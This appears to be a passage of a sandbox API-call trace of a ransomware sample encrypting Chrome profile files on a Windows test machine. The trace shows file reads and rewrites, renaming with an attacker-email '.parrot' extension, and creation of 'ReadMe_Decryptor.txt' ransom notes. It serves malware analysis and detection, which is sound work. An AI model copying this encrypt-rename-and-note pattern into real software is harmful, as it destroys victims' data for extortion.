[0075.865] WriteFile (in: hFile=0x27c, lpBuffer=0x5cce70*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x5cce70*, lpNumberOfBytesWritten=0x18e314*=0x148, lpOverlapped=0x0) returned 1 [0075.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce70 | out: hHeap=0x5b0000) returned 1 [0075.865] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x141, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.865] CloseHandle (hObject=0x27c) returned 1 [0075.865] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0075.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d00d0 [0075.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0075.866] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\sync extension settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d00d0 | out: hHeap=0x5b0000) returned 1 [0075.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8310 | out: hHeap=0x5b0000) returned 1 [0075.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0075.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0075.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x31761b8 [0075.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.868] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0075.868] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbab46ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbab46ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8448d2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0075.868] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0075.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x68e0f0 [0075.868] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84254520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0075.868] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84254520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84254520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbab20d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="LOG_CR~1.PAR")) returned 1 [0075.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0075.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.869] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0075.869] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbab46ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbab46ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbab46ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbab46ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 0 [0075.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0075.869] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0075.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d85d8 | out: hHeap=0x5b0000) returned 1 [0075.869] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8195e7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1 [0075.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0075.869] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.869] lstrcmpW (lpString1="Top Sites", lpString2="ReadMe_Decryptor.txt") returned 1 [0075.869] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0075.881] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0x5000 [0075.881] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5118, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.881] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.881] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.888] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.888] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x5000, lpOverlapped=0x0) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.889] GetLastError () returned 0x0 [0075.889] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.889] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.889] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d0030 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d0218 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0030 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6a9fe8 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0218 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d0030 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x6a9fe8 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0030 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x6aa950 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6ab768 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aa950 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x6acca8 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab768 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x661270 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6acca8 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x664208 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661270 | out: hHeap=0x5b0000) returned 1 [0075.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x3178058 [0075.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x664208 | out: hHeap=0x5b0000) returned 1 [0075.891] WriteFile (in: hFile=0x270, lpBuffer=0x3178060*, nNumberOfBytesToWrite=0x5128, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x3178060*, lpNumberOfBytesWritten=0x18e8f4*=0x5128, lpOverlapped=0x0) returned 1 [0075.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3178058 | out: hHeap=0x5b0000) returned 1 [0075.891] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.891] CloseHandle (hObject=0x270) returned 1 [0075.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2b80 [0075.892] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x68b260 [0075.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0075.892] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Top Sites.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\top sites.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0075.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b260 | out: hHeap=0x5b0000) returned 1 [0075.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8498 | out: hHeap=0x5b0000) returned 1 [0075.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0075.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0075.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d85d8 [0075.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0075.893] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0075.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0075.894] GetFileType (hFile=0x270) returned 0x1 [0075.894] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6a9fe8 [0075.905] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0075.905] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0075.907] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.907] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x278, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x278, lpOverlapped=0x0) returned 1 [0075.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0075.907] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0075.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0075.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6a9fe8 [0075.908] GetLastError () returned 0x0 [0075.908] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0075.908] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0075.908] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0075.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176070 [0075.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0075.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d0030 [0075.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0075.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a9fe8 [0075.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0030 | out: hHeap=0x5b0000) returned 1 [0075.909] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6aa2b8 [0075.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9fe8 | out: hHeap=0x5b0000) returned 1 [0075.909] WriteFile (in: hFile=0x270, lpBuffer=0x6aa2b8*, nNumberOfBytesToWrite=0x398, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x6aa2b8*, lpNumberOfBytesWritten=0x18e8f4*=0x398, lpOverlapped=0x0) returned 1 [0075.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aa2b8 | out: hHeap=0x5b0000) returned 1 [0075.909] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x390, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.909] CloseHandle (hObject=0x270) returned 1 [0075.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 